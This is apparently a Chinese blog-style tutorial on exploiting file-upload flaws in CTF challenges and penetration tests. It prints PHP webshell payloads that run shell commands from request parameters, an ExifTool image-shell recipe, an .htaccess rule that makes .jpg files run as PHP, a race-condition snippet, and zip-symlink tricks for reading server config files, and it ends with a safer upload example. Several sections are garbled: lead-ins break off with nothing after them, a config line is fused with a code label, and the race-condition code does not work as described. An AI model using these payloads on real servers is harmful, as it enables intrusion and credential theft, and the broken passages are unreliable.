文件上传功能在CTF(Capture The Flag)比赛中堪称Web安全赛题的"常青树"。过去五年间,国内外主流CTF赛事中约67%的Web类赛题都涉及文件上传漏洞的变体利用。这种题型之所以经久不衰,是因为它完美融合了基础漏洞原理与实战渗透技巧——既考察选手对MIME类型、文件头校验等基础知识的掌握,又需要灵活运用服务器配置特性、解析差异等进阶技巧。
去年参加某次线下赛时,我遇到一道典型的文件上传题:页面仅允许上传.jpg图片,但服务器后端却是用PHP解析。通过制作包含PHP代码的图片马并利用.htaccess文件解析规则覆盖,最终成功获取shell。这种实战经历让我意识到,文件上传漏洞的利用从来不是单一技巧的套用,而是需要建立完整的攻击思维链。
前端JavaScript校验是最容易被突破的防线。某次实际渗透测试中,目标网站前端使用如下校验逻辑:
javascript复制function checkFile() {
var file = document.getElementById("upload").value;
if(!/\.(gif|jpg|jpeg|png)$/.test(file)) {
alert("仅允许图片格式");
return false;
}
}
绕过方法异常简单:
关键技巧:现代浏览器已普遍支持直接禁用JS执行,在Chrome中按F12打开开发者工具,通过Settings > Debugger禁用JavaScript即可完全跳过前端验证。
当服务器检测文件内容时,经典的图片马制作方法:
bash复制# 制作PHP-GIF双文件头木马
echo 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.gif.php
# 使用ExifTool插入恶意代码
exiftool -Comment='<?php system($_REQUEST["x"]); ?>' normal.jpg -o payload.jpg
实测有效的文件头魔术数字:
针对使用GD库进行图片重压缩的防御方案,可采用以下步骤:
AddType application/x-httpd-php .jpgphp复制// 利用条件竞争上传临时文件
$upload = $_FILES['file'];
$tmp_name = $upload['tmp_name'];
while(true){
if(file_exists($tmp_name)){
copy($tmp_name,'shell.php');
break;
}
}
某次真实渗透中的zip上传利用流程:
bash复制echo '<?php phpinfo(); ?>' > shell.php
zip --symlinks -r payload.zip shell.php
bash复制ln -s /var/www/html/config.php symlink
zip --symlinks payload.zip symlink
当遇到AWS S3等云存储接口时,关键检查点:
php复制// 安全的文件上传处理示例
$allowed_types = ['image/jpeg', 'image/png'];
$extension_map = [
'image/jpeg' => 'jpg',
'image/png' => 'png'
];
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $_FILES['file']['tmp_name']);
if(!in_array($mime, $allowed_types)) {
die('Invalid file type');
}
$ext = $extension_map[$mime];
$filename = md5_file($_FILES['file']['tmp_name']).'.'.$ext;
move_uploaded_file($_FILES['file']['tmp_name'], '/safe/upload/path/'.$filename);
建议的日常训练流程:
某次比赛中遇到的特殊场景:网站使用FFmpeg处理上传视频。通过制作包含PHP代码的MOV文件,利用metadata处理漏洞实现代码注入。这提醒我们,任何文件处理环节都可能成为突破口。